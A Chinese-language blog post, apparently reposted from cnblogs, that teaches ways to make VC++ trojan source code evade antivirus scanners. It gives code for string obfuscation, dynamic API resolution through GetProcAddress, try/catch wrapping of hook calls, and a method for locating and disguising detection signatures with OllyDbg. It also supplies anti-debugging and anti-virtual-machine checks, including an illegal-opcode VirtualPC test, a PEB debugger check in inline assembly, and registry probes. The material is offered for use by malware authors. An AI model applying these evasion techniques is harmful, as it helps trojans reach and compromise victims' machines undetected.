vc++木马源码免杀一些常用方法

1.字符串连接

//
//把字符串"canxin"连接起来(字符串连接法)

char *str1="can", *str2="xin",*str3=NULL;
str3=new char[strlen(str1)+strlen(str2)+1];
strcpy(str3,str1);//把str1所指由NULL结束的字符串复制到str3所指的数组中
strcat(str3,str2);//把str2所指字符串添加到str3结尾处(覆盖dest结尾处的'\0')并添加'\0'

//这样就实现了str3=str1+str2,把str1和str2连接起来了
//

2.字符串隐藏

char XXX[] = {'c','a','n','x','i','n','\0'};

 

3.动态调用

***************定义*******************
HANDLE
WINAPI
CreateToolhelp32Snapshot(
DWORD dwFlags,
DWORD th32ProcessID
);
***************列子*******************
typedef HANDLE (WINAPI *CreateToolhelp32SnapshotT)
(
DWORD dwFlags,
DWORD th32ProcessID
);
CreateToolhelp32SnapshotT pCreateToolhelp32Snapshot= (CreateToolhelp32SnapshotT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"CreateToolhelp32Snapshot");

 

4.异常try catch


//列子//

UnhookWindowsHookEx(m_pTShared->hGetMsgHook);

 



//列子//

-------------------------生成后-------------------------

char canxin=1;
try
{
if(canxin=1)throw 31;
}
catch (...)
{
UnhookWindowsHookEx(m_pTShared->hGetMsgHook);
}

 


-------------------------生成后-------------------------

下面谈一下常见的问题 ,比如说BD  云本地,等等常见定位 错误 以及常见解决方法。比如说常见定位BD ,一次生成 ,查杀, 生成20块,查杀20块,大家有可能误解 定位错误 死循环。 其实非也,可以继续定位继续二次  。知道定位2大小,不杀为止,找到特征地址在OD里的位置,进行上下探查,有没有调用或者字符串的形式 ,然后再继续 搜索关键  在源码里的位置。进行分析特征 ,找到那句源代码 在上面进行加花 等处理 。还有一种可能性,无法定位到 真正的特征位置。 可以通过调试 。比如说 我个人常用的一句代码加在main函数头下,

 HKEY ck;
char
strreg[] = {'S','O','F','T','W','A','R','E','\\','O','D','B','C','\0'}; if(ERROR_SUCCESS!=RegOpenKeyEx(HKEY_LOCAL_MACHINE,(LPCTSTR)strreg,0,KEY_ALL_ACCESS,&ck)) { return 0; } ”

 




反调试:

   

 HKEY ck;
char strreg[] = {'S','O','F','T','W','A','R','E','\\','O','D','B','C','\0'};
if(ERROR_SUCCESS!=RegOpenKeyEx(HKEY_LOCAL_MACHINE,(LPCTSTR)strreg,0,KEY_ALL_ACCESS,&ck))
{
  return 0;
}

bool IsVirtualPC()//反nod32查杀
{
__try
{
  __asm
  {
   mov eax, 1
    _emit 0x0F
    _emit 0x3F
    _emit 0x07
    _emit 0x0B
    _emit 0xC7
    _emit 0x45
    _emit 0xFC
    _emit 0xFF
    _emit 0xFF
    _emit 0xFF
    _emit 0xFF
  }
}
__except(1)
{
  return FALSE;
}
return TRUE;
}



if(IsVirtualPC())
{
  return 0;
}

_asm push esi;
_asm mov esi,46;
_asm inc esi;
_asm mov eax,dword ptr fs:[esi+1];
_asm mov eax,dword ptr ds:[eax+24];
_asm mov eax,dword ptr ds:[eax+12];
_asm cmp eax,2;
_asm pop esi;
_asm je Begin;
_asm lock dec ebx;
Begin:

HKEY dd;
char sof1[]={'S','O','F','T','W','A','R','E','\\','C','l','a','s','s','e','s','\\','.','3','8','6','\\','\0'};
if (ERROR_SUCCESS!=RegOpenKeyEx(HKEY_LOCAL_MACHINE,sof1,0,KEY_ALL_ACCESS,&dd))
{
  __asm nop;
  __asm nop;
  return -1;
}

 

转载于:https://www.cnblogs.com/-qing-/p/10809299.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值